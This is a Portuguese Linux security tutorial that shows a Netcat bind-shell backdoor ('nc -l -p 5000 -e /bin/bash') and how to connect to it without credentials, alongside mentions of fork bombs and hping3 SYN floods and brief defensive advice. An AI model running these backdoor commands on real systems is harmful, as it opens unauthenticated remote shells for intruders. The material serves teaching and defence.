Bem, este artigo é uma continuação do
Segurança em seu Linux, não vamos começar com uma introdução a segurança (já que o primeiro artigo já trata deste assunto) e sim falando sobre os softwares utilizados para fazer os testes e os métodos utilizados para a prevenção do mesmo.
Softwares
Netcat:
O Netcat é uma ferramenta de rede, disponível para sistemas operacionais Unix,
GNU/Linux, Microsoft Windows e Macintosh que permite, através de comandos e com sintaxe muito sensível, abrir portas TCP/UDP e HOST. Permite forçar conexões UDP/TCP (útil para realizar rastreamento de portas ou realizar transferências de arquivos bit a bit entre os equipamentos).
Fork Bomb:
É uma forma de ataque para negação de serviço. Ele nada mais é do que um script em bash que cria vários serviços em tão pouco tempo, fazendo com que o seu computador trave em menos de um segundo após digitado o comando.
HPING3:
Essa ferramenta tem por definição ser um gerador de pacotes "free" e também um analisador do protocolo TCP/IP. Iremos utilizar o HPING para enviar pacotes SYN Flood para uma página web.
Utilizando o Netcat
Antes de estudar a prevenção para este comando, vamos primeiro utilizá-lo.
Sintaxe:
# nc -l -p 5000 -e /bin/bash
Explicando os parâmetros:
- -l: Coloca o Netcat em modo de escuta
- -p: Diz a porta que será aberta para o "backdoor"
- -e: Diz ao Netcat o que será executado após a conexão efetuada com sucesso
Então estamos dizendo para o Netcat trabalhar em modo de escuta, abrindo a porta 5000 e executando o /bin/bash, retornando um terminal livre para utilizarmos.
Vamos fazer o teste, supondo que você está conectado por ssh ou irá conectar na máquina 192.168.1.10:
# ssh root@192.168.1.10
Agora que estamos na estação de trabalho de algum usuário qualquer, vamos abrir a porta 5000 utilizando o Netcat e conectar quando quisermos, sem precisar de usuário e senha:
# nc -l -p 5000 -e /bin/bash
Pronto, agora note que de qualquer outra máquina, quando você tentar acessar, não irá pedir usuário nem senha, e você poderá navegar pelo sistema, veja:
# nc 192.168.1.10 5000
cd /home
ls
ricardo
marcelo
suporte
Então, estamos vendo que dentro de /home, existem alguns diretórios.
Em resumo, os comandos utilizados foram:
Abrir a porta:
nc -l -p 5000 -e /bin/bash
Acessar o IP com a porta aberta:
nc 192.168.1.10 5000
Então, como criar um mecanismo de defesa para isso!?
Bem, como foi mostrado, você precisa ter acesso ao servidor ou máquina para utilizar o Netcat.
A melhor defesa seria uma boa senha para este caso. Como foi mostrado no primeiro artigo dessa série, se alguém tem acesso físico a máquina, é quase impossível impedir que o considerado "hacker" ou "cracker" tenha acesso a máquina.
Então podemos proteger o GNU/Linux colocando uma senha no GRUB. Também devemos avisar aos usuários que senhas PRECISAM ser criadas com 6 dígitos ou mais, misturando números e letras de preferência. Para uma melhor segurança básica, de início está bem.
Caso você seja preocupado como eu, isso não bastaria! É necessário correr atrás de mais algumas soluções, como sniffers frequentes em rede, monitorando vulnerabilidades e verificando as senhas com force brute e uma boa wordlist, assim se existe alguma senha fraca, você pede para que o usuário altere de acordo com a política de senhas da sua empresa.